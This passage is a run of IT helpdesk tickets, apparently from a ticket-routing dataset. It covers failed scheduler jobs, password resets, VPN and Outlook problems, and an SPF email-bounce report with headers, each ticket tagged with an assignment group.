to: chefghtyn chnbghyg; nwfodmhc exurcwkm
subject: rad: regarding cell phone model..
hello chefghtyn,
gso will help on this, i am copying to them.
hello gso,
please help on this.
, is assigned to Assignment group: GRP\_0.Ticket with Short description: ç”µè„‘ç³»ç»Ÿå¯åŠ¨è“å±ã€‚, Description: ç”µè„‘ç³»ç»Ÿå¯åŠ¨è“å±ã€‚æ°´ä¸å°å¿ƒæ´’åˆ°ç”µè„‘é‡Œé¢ã€‚, is assigned to Assignment group: GRP\_31.Ticket with Short description: job hr\_payroll\_na\_u2 failed in job\_scheduler at: 09/25/2016 23:00:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job hr\_payroll\_na\_u2 failed in job\_scheduler at: 09/25/2016 23:00:00, is assigned to Assignment group: GRP\_10.Ticket with Short description: job hr\_payroll\_na\_u1 failed in job\_scheduler at: 09/25/2016 23:00:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job hr\_payroll\_na\_u1 failed in job\_scheduler at: 09/25/2016 23:00:00, is assigned to Assignment group: GRP\_10.Ticket with Short description: job hr\_payroll\_na\_u6 failed in job\_scheduler at: 09/25/2016 23:00:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job hr\_payroll\_na\_u6 failed in job\_scheduler at: 09/25/2016 23:00:00, is assigned to Assignment group: GRP\_10.Ticket with Short description: need to know who the processor is., Description: from: kbyivdfz zwutmehy [mailto:kbyivdfz.zwutmehy@gmail.com] \_x000D\_
sent: monday, september 26, 2016 5:53 am\_x000D\_
to: nwfodmhc exurcwkm\_x000D\_
subject: rad:need to know who the processor is.\_x000D\_
\_x000D\_
hello,\_x000D\_
\_x000D\_
need to know who the processor might be.\_x000D\_
\_x000D\_
kindly check and let me know who have authority to approve of a0 and a4 \_x000D\_
\_x000D\_
internal purchase requisition can not be released, so i cannot issue po.\_x000D\_
\_x000D\_
best , is assigned to Assignment group: GRP\_29.Ticket with Short description: reset pw , Description:
received from: yhmzxcia.heszapvl@gmail.com
please help to reset pass word for erp SID\_34
user id : hertel
best , is assigned to Assignment group: GRP\_0.Ticket with Short description: wireless outage again-taiwan 0926, Description: \_x000D\_
\_x000D\_
received from: ticqvhal.vgokzesi@gmail.com\_x000D\_
\_x000D\_
hello~\_x000D\_
\_x000D\_
wireless(companysecure) outage of taiwan.\_x000D\_
please help~\_x000D\_
\_x000D\_
, is assigned to Assignment group: GRP\_4.Ticket with Short description: job Job\_3186 failed in job\_scheduler at: 09/25/2016 20:00:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job Job\_3186 failed in job\_scheduler at: 09/25/2016 20:00:00, is assigned to Assignment group: GRP\_10.Ticket with Short description: job Job\_2114 failed in job\_scheduler at: 09/25/2016 17:32:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job Job\_2114 failed in job\_scheduler at: 09/25/2016 17:32:00, is assigned to Assignment group: GRP\_9.Ticket with Short description: erp account lock, Description: erp account lock, is assigned to Assignment group: GRP\_0.Ticket with Short description: it help, Description:
received from: notwkdgr.zvmesjpt@gmail.com
do you have any idea why i received this message?
katfrthy cighyillo
consultant
notwkdgr.zvmesjpt@gmail.com<mailto:notwkdgr.zvmesjpt@gmail.com>
from: microsoft outlook
sent: sunday, september 25, 2016 4:09 pm
to: notwkdgr zvmesjpt
subject: undeliverable: fw: company ec mfg\_tooltion in us
[image removed by sender.]
your message to dhermosi@gmail.com couldn't be delivered.
gmail.com couldn't confirm that your message was sent from a trusted location.
kathleen.cirillo
office 365
dhermosi
action required
recipient
spf validation error
how to fix it
your organization's email admin will have to diagnose and fix your domain's email settings. please forward this message to your email admin.
\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_
more info for email admins
status code: 550 5.7.23
this error occurs when sender policy framdntyework (spf) validation for the sender's domain fails. if you're the sender's email admin, make sure the spf records for your domain at your domain registrar are set up correctly. office 365 supports only one spf record (a txt record that defines spf) for your domain. include the following domain name: spf.protection.outlook.com. if you have a hybrid configuration (some mailboxes in the cloud, and some mailboxes on premises) or if you're an exchange online protection standalone customer, add the outbound ip address of your on-premises servers to the txt record.
for more information and instructions about configuring spf records see customize an spf record to validate outbound mail sent from your domain<#bkmk\_spfrecords>.
original message details
created date:
9/25/2016 8:08:51 pm
sender address:
notwkdgr.zvmesjpt@gmail.com
recipient address:
dhermosi@gmail.com
subject:
fw: company ec mfg\_tooltion in us
error details
reported error:
550 5.7.23 the message was rejected because of sender policy framdntyework violation -> 550 5.7.1 unauthenticated email from hr\_tool.com is not accepted due to domain's;dmarc policy. please contact the administrator of hr\_tool.com domain if;this was a legitimate mail. please visit;
dsn generated by:
dm5pr05mb2985.namprd05.prod.outlook.com
remote server:
mx.google.com
message hops
hop
time (utc)
from
to
with
relay time
1
9/25/2016
8:08:52 pm
dm5pr05mb2986.namprd05.prod.outlook.com
dm5pr05mb2986.namprd05.prod.outlook.com
mapi
1 sec
2
9/25/2016
8:08:52 pm
dm5pr05mb2986.namprd05.prod.outlook.com
dm5pr05mb2985.namprd05.prod.outlook.com
microsoft smtp server (version=tls1\_2, cipher=tls\_ecdhe\_rsa\_with\_aes\_256\_cbc\_sha384\_p384)
\*
original message headers
dkim-signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=company.com;
s=selector1; h=from:date:subject:message-id:content-type:mime-version;
bh=p2khj+cx28ii4sgrkpfsbsxqqzvxrpkmbumy6bgcvme=;
b=sv2v6uxr4jlaemyl32oakf6q2tpv80vdn3wyalrvmwpvlt0ih4leelrpzts6atf863lwqaiwmpjkyor/nks/b+3ricx0tqctyws3prvdutl1to1ghty3be75w2bfc12uvw0mapgzzbtnqsozevisyen3o2tqkq1mumxccbhz85m=
received: from dm5pr05mb2986.namprd05.prod.outlook.com (10.168.176.150) by
dm5pr05mb2985.namprd05.prod.outlook.com (10.168.176.149) with microsoft smtp
server (version=tls1\_2, cipher=tls\_ecdhe\_rsa\_with\_aes\_256\_cbc\_sha384\_p384) id
15.1.649.6; sun, 25 sep 2016 20:08:52 +0000
received: from dm5pr05mb2986.namprd05.prod.outlook.com ([10.168.176.150]) by
dm5pr05mb2986.namprd05.prod.outlook.com ([10.168.176.150]) with mapi id
15.01.0649.011; sun, 25 sep 2016 20:08:52 +0000
from: "favot, jean-jacques" <jean-jacques.favot@hr\_tool.com>
to: "dhermosi@gmail.com" <dhermosi@gmail.com>
subject: fw: company ec mfg\_tooltion in us
thread-topic: company ec mfg\_tooltion in us
thread-index: adiu0k1lhl+ozbuesgkwoqwhf5sr3waakvcg
sender: notwkdgr zvmesjpt <notwkdgr.zvmesjpt@gmail.com>
date: sun, 25 sep 2016 20:08:51 +0000
message-id: <dm5pr05mb29862fd8edab0c9b7115e87aefca0@dm5pr05mb2986.namprd05.prod.outlook.com>
references: <dm5pr05mb2986c91ed54f6510f97f2eb3efc90@dm5pr05mb2986.namprd05.prod.outlook.com>
in-reply-to: <dm5pr05mb2986c91ed54f6510f97f2eb3efc90@dm5pr05mb2986.namprd05.prod.outlook.com>
accept-language: en-us
content-language: en-us
x-ms-has-attach: yes
x-ms-tnef-correlator:
authentication-results: spf=none (sender ip is )
smtp.mailfrom=notwkdgr.zvmesjpt@gmail.com;
x-ms-exchange-messagesentrepresentingtype: 2
x-ms-exchange-meetingforward-message: forward
x-originating-ip: [24.74.132.83]
x-ms-office365-filtering-correlation-id: 32e76e86-fb83-4c95-b8c1-08d3e57fc557
x-microsoft-exchange-diagnostics:
1;dm5pr05mb2985;6:6zwkfzfqhveyrfplvnz0nkjsmck9qwehil1qgumjnxnqprprqkdhi+rvjj3uc2nejqa0fzgtz4jij+acwuv88puzdunk0hjwjqwvmyqk4t6qt0f+so8tovjk6vrsw4nbmikos5ta5pagfw3tlikizopxoin40z46el9nwzgqwxh2dfht+kz7mql5a3+pajmwsrgslv94qwosb/+oqmwgxvfmlsw+z406vgi7xwkSID\_61qzzitpqy4lu86dri3ottgk1xzayeeyzavg6eudngmojgvhdtnqwuio1j8ybnp/xet+hr9grz1ft1y57dsb/hkcy3iuez7slc3yb86gt2/5nrs2wzh90jzgmtanpptqedo=;5:5vw9vc14yq2yep5u2pocqfthezol3pfhxzkwojpdnpwkzpomtdksxjgwu6zrcjk/gbfmvjr3q8g1gvlyai7kcekgjrnwpozuhpv6erkfxyf08+b2xt3nfjd7vsr0kxcifcv61ddkrkgwwnfnaklxdg==;24:cheincs2ucpegyhr2jxtdz4i0u4emaklov/7pefvrpt+qnxldyya8iuersial1s+rrranhcq2jepzug8qvggjsdvnk4ibmjw05qnt0jhj0s=;7:8x23g2habfqwviwctkdxqupnpbikhjtjiylmevfzllvnwoggkaenkvbsoltry7j36exff+7prcp9ejfgu+hih0ognmjetr0okkpaemfapugfinxzgn03bwwvkifmzcsfrcsre3wvfocm4gqhn2l/vh+uow9qrijelr+yuhm5lbonhp/mlumfit4atgzwedr8/orp9a7e4nclbrvinpcrdn3f3pzm+xfd7qqr3s1poembzawfucemmdkg8tt6f5znyd3bdftagjq+czljtqjboyohmsd9kaw/yj9guwxlcemjtijzkysxvmp7dwujtas+
x-microsoft-antispam: uriscan:;bcl:0;pcl:0;ruleid:;srvr:dm5pr05mb2985;
x-microsoft-antispam-prvs: <dm5pr05mb2985cd25ac255f59cd58b973efca0@dm5pr05mb2985.namprd05.prod.outlook.com>
x-exchange-antispam-report-uacyltoe hxgaycze: uriscan:(141303121974841)(21748063052155);
x-exchange-antispam-report-cfa-uacyltoe hxgaycze: bcl:0;pcl:0;ruleid:(213526432)(7151287)(601004)(3512158)(6116117)(9232612157)(4113112)(10201501046)(7166137);srvr:dm5pr05mb2985;bcl:0;pcl:0;ruleid:;srvr:dm5pr05mb2985;
x-forefront-prvs: 0076f48c8a
x-forefront-antispam-report: sfv:nspm;sfs:(21120131)(7110112)(8027113)(488565114)(189002)(199003)(3584113)(3011211112)(7027110)(3061211113)(53993117)(88107116)(5002640100001)(15975445007)(2522112)(87687112)(0797113)(233667113)(212527112)(08847115)(218997113)(3017113)(6751811112)(44767113)(561211112)(79847118)(213947114)(9047113)(290009112)(19580405001)(85427113)(77177112)(586003)(4957113)(11100500001)(92277117)(92267125)(6901211112)(8847113)(2841811114)(00397113)(221247114)(416056116)(03677113)(10400500002)(3612114)(217467112)(98047112)(216697113)(87287000)(3462112)(00047112)(65467000)(9787113)(6771411112)(4771811112)(4391811113)(19580395003)(7227113)(61097000)(8707115);dir:out;sfp:1102;scl:1;srvr:dm5pr05mb2985;h:dm5pr05mb2986.namprd05.prod.outlook.com;fpr:;spf:none;ptr:infonorecords;mx:1;a:1;lang:;
received-spf: none (protection.outlook.com: company.com does not designate
permitted sender hosts)
spamdiagnosticoutput: 1:99
spamdiagnosticmetadata: nspm
content-type: multipart/mixed;
boundary="\_006\_dm5pr05mb29862fd8edab0c9b7115e87aefca0dm5pr05mb2986namp\_"
mime-version: 1.0
x-originatororg: company.com
x-ms-exchange-crosstenant-originalarrivaltime: 25 sep 2016 20:08:51.7604
(utc)
x-ms-exchange-crosstenant-fromentityheader: hosted
x-ms-exchange-crosstenant-id: e7ee4711-c0b1-4311-b500-b80d89e5b298
x-ms-exchange-transport-crosstenantheadersstamped: dm5pr05mb2985
, is assigned to Assignment group: GRP\_26.Ticket with Short description: eagsm657 : the service (security\_tool password manager) is stopped or disabled or is not installed on the target machine, Description: eagsm657 : the service (security\_tool password manager) is stopped or disabled or is not installed on the target machine, is assigned to Assignment group: GRP\_2.Ticket with Short description: account locked , unable to login to ess portal, Description: account locked , unable to login to ess portal, is assigned to Assignment group: GRP\_0.Ticket with Short description: job Job\_1429 failed in job\_scheduler at: 09/25/2016 11:44:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job Job\_1429 failed in job\_scheduler at: 09/25/2016 11:44:00, is assigned to Assignment group: GRP\_6.Ticket with Short description: lv23 not printing, Description: lv23 not printing, is assigned to Assignment group: GRP\_0.Ticket with Short description: job Job\_1420 failed in job\_scheduler at: 09/25/2016 10:36:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job Job\_1420 failed in job\_scheduler at: 09/25/2016 10:36:00, is assigned to Assignment group: GRP\_6.Ticket with Short description: ms crm configuration in outlook, Description: ms crm configuration in outlook, is assigned to Assignment group: GRP\_0.Ticket with Short description: sound coming from computer while connecting any device or moving monitor., Description: sound coming from computer while connecting any device or moving monitor., is assigned to Assignment group: GRP\_19.Ticket with Short description: job snp\_heu\_6\_regen failed in job\_scheduler at: 09/25/2016 08:57:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job snp\_heu\_6\_regen failed in job\_scheduler at: 09/25/2016 08:57:00, is assigned to Assignment group: GRP\_6.Ticket with Short description: sound issue : 7350, Description: summary:issue with the sound of the laptop .there's no sound ., is assigned to Assignment group: GRP\_0.Ticket with Short description: job Job\_1343 failed in job\_scheduler at: 09/25/2016 07:49:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job Job\_1343 failed in job\_scheduler at: 09/25/2016 07:49:00, is assigned to Assignment group: GRP\_9.Ticket with Short description: markhtyingre email as junk, Description: hello all\_x000D\_
how are you doing?\_x000D\_
\_x000D\_
please can you put this email in general junk?\_x000D\_
\_x000D\_
it's a spam ....\_x000D\_
thx\_x000D\_
gergryth\_x000D\_
\_x000D\_
, is assigned to Assignment group: GRP\_0.Ticket with Short description: job co\_val\_update\_crosscomp failed in job\_scheduler at: 09/25/2016 05:55:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job co\_val\_update\_crosscomp failed in job\_scheduler at: 09/25/2016 05:55:00, is assigned to Assignment group: GRP\_10.Ticket with Short description: job Job\_1148 failed in job\_scheduler at: 09/25/2016 01:15:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job Job\_1148 failed in job\_scheduler at: 09/25/2016 01:15:00, is assigned to Assignment group: GRP\_9.Ticket with Short description: job Job\_3049 failed in job\_scheduler at: 09/25/2016 01:06:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job Job\_3049 failed in job\_scheduler at: 09/25/2016 01:06:00, is assigned to Assignment group: GRP\_8.Ticket with Short description: job Job\_3049 failed in job\_scheduler at: 09/25/2016 00:46:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job Job\_3049 failed in job\_scheduler at: 09/25/2016 00:46:00, is assigned to Assignment group: GRP\_45.Ticket with Short description: job mm\_zscr0099\_wkly\_rollfgyuej1 failed in job\_scheduler at: 09/25/2016 00:15:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job mm\_zscr0099\_wkly\_rollfgyuej1 failed in job\_scheduler at: 09/25/2016 00:15:00, is assigned to Assignment group: GRP\_8.Ticket with Short description: job Job\_1141 failed in job\_scheduler at: 09/24/2016 23:45:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job Job\_1141 failed in job\_scheduler at: 09/24/2016 23:45:00, is assigned to Assignment group: GRP\_9.Ticket with Short description: application "plm scheduled tasks monitor" in a critical state for the below mentioned serevrs., Description: alwaysupservice.exe for plm conversion server - on HostName\_108
plm conversion server on HostName\_107
plm conversion server on HostName\_520
plm conversion server on HostName\_521
, is assigned to Assignment group: GRP\_8.Ticket with Short description: request to reset microsoft online services password for dcaokyph.vrdnocxs@gmail.com, Description: from: microsoft on behalf of company inc. [mailto:msonlineservicesteam@microsoftonline.com]
sent: sunday, september 25, 2016 2:04 am
to: nwfodmhc exurcwkm
cc: tiyhum kuyiomar
subject: request to reset microsoft online services password for dcaokyph.vrdnocxs@gmail.com
request to reset user's password
the following user in your organization has requested a password reset be performed for their account:
â€¢ dcaokyph.vrdnocxs@gmail.com
â€¢ first name: allert
â€¢ last name: herghan
consider contacting this user to validate this request is authentic before continuing.
if you have determined that this is a valid request, use your service's admin portal (office 365, windows intune, windows azure, etc.) to reset the password for this user.
want to let you users reset their own passwords? check out how you can enable password reset for users in your organization with just a few clicks.
sincerely,
company inc.
this message was sent from an unmonitored email address. please do not reply to this message.
, is assigned to Assignment group: GRP\_0.Ticket with Short description: inquiry on erp status- unable to access ess portal, Description: inquiry on erp status- unable to access ess portal, is assigned to Assignment group: GRP\_0.Ticket with Short description: job Job\_444 failed in job\_scheduler at: 09/24/2016 19:40:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job Job\_444 failed in job\_scheduler at: 09/24/2016 19:40:00, is assigned to Assignment group: GRP\_8.Ticket with Short description: job bkbackup\_tool\_powder\_prod\_full failed in job\_scheduler at: 09/24/2016 18:36:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job bkbackup\_tool\_powder\_prod\_full failed in job\_scheduler at: 09/24/2016 18:36:00, is assigned to Assignment group: GRP\_8.Ticket with Short description: job SID\_56hoti failed in job\_scheduler at: 09/24/2016 18:06:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job SID\_56hoti failed in job\_scheduler at: 09/24/2016 18:06:00, is assigned to Assignment group: GRP\_8.Ticket with Short description: job SID\_38hoti failed in job\_scheduler at: 09/24/2016 17:02:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job SID\_38hoti failed in job\_scheduler at: 09/24/2016 17:02:00, is assigned to Assignment group: GRP\_8.Ticket with Short description: vip 2--workflow notifications in universal worklist., Description: vip 2 - ticket
received from: dxyvfuhr.uyfqgomx@gmail.com
all, having reviewed this with joothyst and clrgtydia, the problem is not caused by the exclusion list, or the cm workflow.
the problem is because of a security configuration, where joftgost receives items in the universal worklist, but no e-mail notification.
we traced this to screen su01d, where in the screenshot attached to this incident, you will see the e-mail address for joftgost is incorrectly "joftgost.berfkting@company.com".
please update this to "dxyvfuhr.uyfqgomx@gmail.com".
dear madam, sir, i am no longer receiving workflow notifications to my outlook inbox, how can i restore these?
with kind , is assigned to Assignment group: GRP\_2.Ticket with Short description: job Job\_3194 failed in job\_scheduler at: 09/24/2016 14:10:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job Job\_3194 failed in job\_scheduler at: 09/24/2016 14:10:00, is assigned to Assignment group: GRP\_10.Ticket with Short description: ms crmdynamics deployment query , Description: ms crm dynamics deployment query. , is assigned to Assignment group: GRP\_0.Ticket with Short description: uacyltoe hxgaycze message email., Description: from: efbwiadp dicafxhv
sent: saturday, september 24, 2016 10:19 pm
to: shesyhur posrt
subject: inc1554560 : uacyltoe hxgaycze message
hello shesyhur,
i have just checked, this issue was reported previously.
after the upgrade users are getting email about uacyltoe hxgayczeing email configuration- please be aware that this is only part of the upgrade and can be safely deleted.
, is assigned to Assignment group: GRP\_0.Ticket with Short description: yahoo, emails skype team viewer not loading ; internet not working., Description: yahoo, emails skype team viewer not loading ; internet not working ., is assigned to Assignment group: GRP\_0.Ticket with Short description: job Job\_1429 failed in job\_scheduler at: 09/24/2016 10:41:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job Job\_1429 failed in job\_scheduler at: 09/24/2016 10:41:00, is assigned to Assignment group: GRP\_6.Ticket with Short description: uacyltoe hxgaycze email sent from neerthyu agrtywal id but neerthyu has not sent any such uacyltoe hxgaycze email . advise., Description: from: neerthyu agrtywal \_x000D\_
sent: saturday, september 24, 2016 5:49 pm\_x000D\_
to: nwfodmhc exurcwkm\_x000D\_
subject: fw: uacyltoe hxgaycze message\_x000D\_
importance: low\_x000D\_
\_x000D\_
hi,\_x000D\_
\_x000D\_
i received this email which shows that it has been sent from my id where as i have not sent any such uacyltoe hxgaycze email. pl. look into this matheywter and advise.\_x000D\_
\_x000D\_
, is assigned to Assignment group: GRP\_0.Ticket with Short description: sound issue : 7350 issue, Description: sound issue : 7350 issue, is assigned to Assignment group: GRP\_0.Ticket with Short description: job Job\_2040 failed in job\_scheduler at: 09/24/2016 07:29:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job Job\_2040 failed in job\_scheduler at: 09/24/2016 07:29:00, is assigned to Assignment group: GRP\_6.Ticket with Short description: job Job\_1320 failed in job\_scheduler at: 09/24/2016 06:36:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job Job\_1320 failed in job\_scheduler at: 09/24/2016 06:36:00, is assigned to Assignment group: GRP\_9.Ticket with Short description: erp log on balancing error : vpn issue , Description: erp log on balancing error : vpn issue , is assigned to Assignment group: GRP\_0.Ticket with Short description: the plant has had our n network drive deleted from all computers and we are unable to work., Description: is there anyway you can add our n network drives back to all computers or send instructions on how to add to each computer?, is assigned to Assignment group: GRP\_12.Ticket with Short description: job Job\_1388 failed in job\_scheduler at: 09/24/2016 02:59:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job Job\_1388 failed in job\_scheduler at: 09/24/2016 02:59:00, is assigned to Assignment group: GRP\_9.Ticket with Short description: pls help - unable to connect vpn, Description: \_x000D\_
\_x000D\_
received from: vxhyftae.tbkyfdli@gmail.com\_x000D\_
\_x000D\_
hello ,\_x000D\_
please helo for subject matheywter . pls see below snapshot\_x000D\_
[cid:image003.jpg@01SID\_3565c.102ad310]\_x000D\_
\_x000D\_
\_x000D\_
, is assigned to Assignment group: GRP\_0.Ticket with Short description: job apo\_cif\_pSID\_74\_ap failed in job\_scheduler at: 09/24/2016 02:12:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job apo\_cif\_pSID\_74\_ap failed in job\_scheduler at: 09/24/2016 02:12:00, is assigned to Assignment group: GRP\_6.Ticket with Short description: job apo\_cif\_pds3\_am failed in job\_scheduler at: 09/24/2016 02:12:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job apo\_cif\_pds3\_am failed in job\_scheduler at: 09/24/2016 02:12:00, is assigned to Assignment group: GRP\_6.Ticket with Short description: job apo\_cif\_pds1\_am failed in job\_scheduler at: 09/24/2016 02:12:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job apo\_cif\_pds1\_am failed in job\_scheduler at: 09/24/2016 02:12:00, is assigned to Assignment group: GRP\_6.Ticket with Short description: job apo\_cif\_pds3\_eu failed in job\_scheduler at: 09/24/2016 02:12:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job apo\_cif\_pds3\_eu failed in job\_scheduler at: 09/24/2016 02:12:00, is assigned to Assignment group: GRP\_6.Ticket with Short description: job bkwin\_infonet1\_full failed in job\_scheduler at: 09/24/2016 01:40:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job bkwin\_infonet1\_full failed in job\_scheduler at: 09/24/2016 01:40:00, is assigned to Assignment group: GRP\_8.Ticket with Short description: job Job\_1148 failed in job\_scheduler at: 09/24/2016 01:15:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job Job\_1148 failed in job\_scheduler at: 09/24/2016 01:15:00, is assigned to Assignment group: GRP\_9.Ticket with Short description: unable to access engineering\_tool, Description: unable to access engineering\_tool due to vpn, is assigned to Assignment group: GRP\_0.Ticket with Short description: job SID\_56filesys failed in job\_scheduler at: 09/23/2016 22:17:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job SID\_56filesys failed in job\_scheduler at: 09/23/2016 22:17:00, is assigned to Assignment group: GRP\_8.Ticket with Short description: not able to login to vpn,, Description: not able to login to vpn,\_x000D\_
-advised the caller to restart the system and check the internet connection.\_x000D\_
-advised the caller to logon to the company vpn.\_x000D\_
-caller confirmed that he was able to login.\_x000D\_
-issue resolved., is assigned to Assignment group: GRP\_0.Ticket with Short description: urgent help required- outlook to crm mfg\_tooltion issue, Description:
received from: jhxwiply.midhcnze@gmail.com
not sure why or how but this error came up several times while attempting to add an email to crm
[cid:image001.png@01SID\_355c1.93def6a0]
at the bottom of this email it shows it added the email to crm but i cannot find it anywhere
[cid:image004.png@01SID\_355c3.16264ae0]
when i click on the 'view in crm' i get below error
[cid:image005.png@01SID\_355c3.16264ae0]
[cid:image003.jpg@01SID\_355c5.47cb4490]
why is it when i click on [cid:image002.png@01SID\_355c6.2b4plant\_200] it opens up a new large crm page and shows i created a calendar date but it doesn't show in my regular crm even after closing it and reopening it?
[cid:image006.png@01SID\_355c6.2b4plant\_200]
this is what shows in my regular crm
[cid:image007.png@01SID\_355c9.2121d1c0]
, is assigned to Assignment group: GRP\_40.Ticket with Short description: vip 2: time setting on collaboration\_platform, Description: \_x000D\_
\_x000D\_
received from: ebikdrqw.empubwxo@gmail.com\_x000D\_
\_x000D\_
i am experiencing problems with elt folders in collaboration\_platform. my collaboration\_platform view for the elt meetings is not current and is not updating as documents are uploaded.\_x000D\_
\_x000D\_
i was told it has to do with my time setting on my pc. lpoebzsc grknswyo i tried to reset it but the system did not reset it.\_x000D\_
\_x000D\_
please look into it and fix the problem.\_x000D\_
\_x000D\_
\_x000D\_
, is assigned to Assignment group: GRP\_16.Ticket with Short description: login issue, Description: login issue\_x000D\_
-verified user details.(employee# & manager name)\_x000D\_
-checked the user name in ad and unlocked the account.\_x000D\_
-advised the user to login and check.\_x000D\_
-caller confirmed that he was able to login.\_x000D\_
-issue resolved., is assigned to Assignment group: GRP\_0.Ticket with Short description: ms crm installation ., Description: ms crm installation .\_x000D\_
connected to the user system using teamviewer.\_x000D\_
-installed the mscrm add in for outlook.\_x000D\_
-launched the outlook.\_x000D\_
-user able to see the crm add-in on outlook.\_x000D\_
-issue resolved., is assigned to Assignment group: GRP\_0.Ticket with Short description: zbxljotu cbunzrak ihre rechnung zur bestellung nr. 45507867717 vom 23.09.2016, Description: zbxljotu cbunzrak ihre rechnung zur bestellung nr. 45507867717 vom 23.09.2016
error: account to order no. 45507867717 from 09.23.2016, is assigned to Assignment group: GRP\_26.Ticket with Short description: outlook configuration and vpn connectivity, Description: outlook configuration and vpn connectivity, is assigned to Assignment group: GRP\_0.Ticket with Short description: engineering tool login issue., Description: engineering tool login issue.\_x000D\_
-connected to the user system using teamviewer.\_x000D\_
-unlocked the user account.\_x000D\_
-caller confirmed that he was able to login.\_x000D\_
-issue resolved., is assigned to Assignment group: GRP\_0.Ticket with Short description: urgent help required- outlook to crm mfg\_tooltion issue. , Description: urgent help required- outlook to crm mfg\_tooltion issue.
need crm tab on my outlook, is assigned to Assignment group: GRP\_0.Ticket with Short description: dell 7350: skype audio not working., Description: dell 7350: skype audio not working.\_x000D\_
-connected to the user system using teamviewer.\_x000D\_
-updated the sound drivers, restarted the pc.\_x000D\_
-user able to listen to the audio over the skype calls.\_x000D\_
-issue resolved., is assigned to Assignment group: GRP\_0.Ticket with Short description: support with, Description:
received from: jogtse.mhytusa@company.com
hello
could you please help us to add the customers below to engineering tool software
81945970
maquinados de precision de mex
81039422
magonza sa de cv
81039927
evercast s.a. de c.v.
81030720
tecnologia en maquinados hidra
saludos
johjkse luartusa rahymos
representante de ventas zona bajio
este mensaje estÃ¡ destinado al uso exclusivo de la persona a quien estÃ¡ dirigido y puede contener informaciÃ³n privilegiada, confidencial y que estÃ¡ exenta de ser revelada conforme con lo dispuesto en la legislaciÃ³n vigente. toda difusiÃ³n, distribuciÃ³n o reproducciÃ³n de este mensaje por parte de otra persona que no sea el receptor al que estÃ¡ destinado queda estrictamente prohibida. si recibe este mensaje por error, se ruega que lo notifique al remitente y borre este mensaje.
[#+company/posts>[
select the following link to view the disclaimer in an alternate language.
este mensaje estÃ¡ destinado al uso exclusivo de la persona a quien estÃ¡ dirigido y puede contener informaciÃ³n privilegiada, confidencial y que estÃ¡ exenta de ser revelada conforme con lo dispuesto en la legislaciÃ³n vigente. toda difusiÃ³n, distribuciÃ³n o reproducciÃ³n de este mensaje por parte de otra persona que no sea el receptor al que estÃ¡ destinado queda estrictamente prohibida. si recibe este mensaje por error, se ruega que lo notifique al remitente y borre este mensaje.
[#+company/posts> [
select the following link to view the disclaimer in an alternate language. , is assigned to Assignment group: GRP\_25.Ticket with Short description: nan, Description: \_x000D\_
-connected to the user system using teamviewer.\_x000D\_
-help the user login to the portal.\_x000D\_
-issue resolved., is assigned to Assignment group: GRP\_0.Ticket with Short description: ie issue, Description: ie issue, is assigned to Assignment group: GRP\_0.Ticket with Short description: multiple switch company-na-usa-usa is down since 2:15 pm et on 09/23/16, Description: switch company-na-usa-usa-shippingarea-2960-access-sw01 (23.36.37.1866 ) and company-na-usa-usa-furnace-2960-access-sw01 (80.25.07.069) located at usa is down since 2:15 pm et, is assigned to Assignment group: GRP\_4.Ticket with Short description: i drive not connecting , Description: i drive not connecting \_x000D\_
\_x000D\_
tried with ip address, no go.\_x000D\_
checked server name: no go\_x000D\_
user mentioned that he changed his password for vpn and then not able to connect to i drive.\_x000D\_
rest all drivers are working fine and accessible.\_x000D\_
informed user to get in touch with one of colleagues and get the screen shot of all drivers he has access to also to onfiirm i drive.\_x000D\_
tried mapping i drive with password , nogo.\_x000D\_
\_x000D\_
waiting for user email ., is assigned to Assignment group: GRP\_0.Ticket with Short description: support with , Description:
received from: whoyizfp.gclnfkis@gmail.com
hello
could you please help us to add the customers below to engineering tool software
81945970
maquinados de precision de mex
81039422
magonza sa de cv
81039927
evercast s.a. de c.v.
81030720
tecnologia en maquinados hidra
saludos
whoyizfp gclnfkis.
sr sales engineer
whoyizfp.gclnfkis@gmail.com<mailto:mailo:whoyizfp.gclnfkis@gmail.com>
, is assigned to Assignment group: GRP\_25.Ticket with Short description: locked er, Description: \_x000D\_
\_x000D\_
received from: jxgobwrm.qkugdipo@gmail.com\_x000D\_
\_x000D\_
i'm trying to add a change item to my er 2240766, but i get the error listed below\_x000D\_
\_x000D\_
\_x000D\_
[cid:image001.png@01SID\_3559d.48177471]\_x000D\_
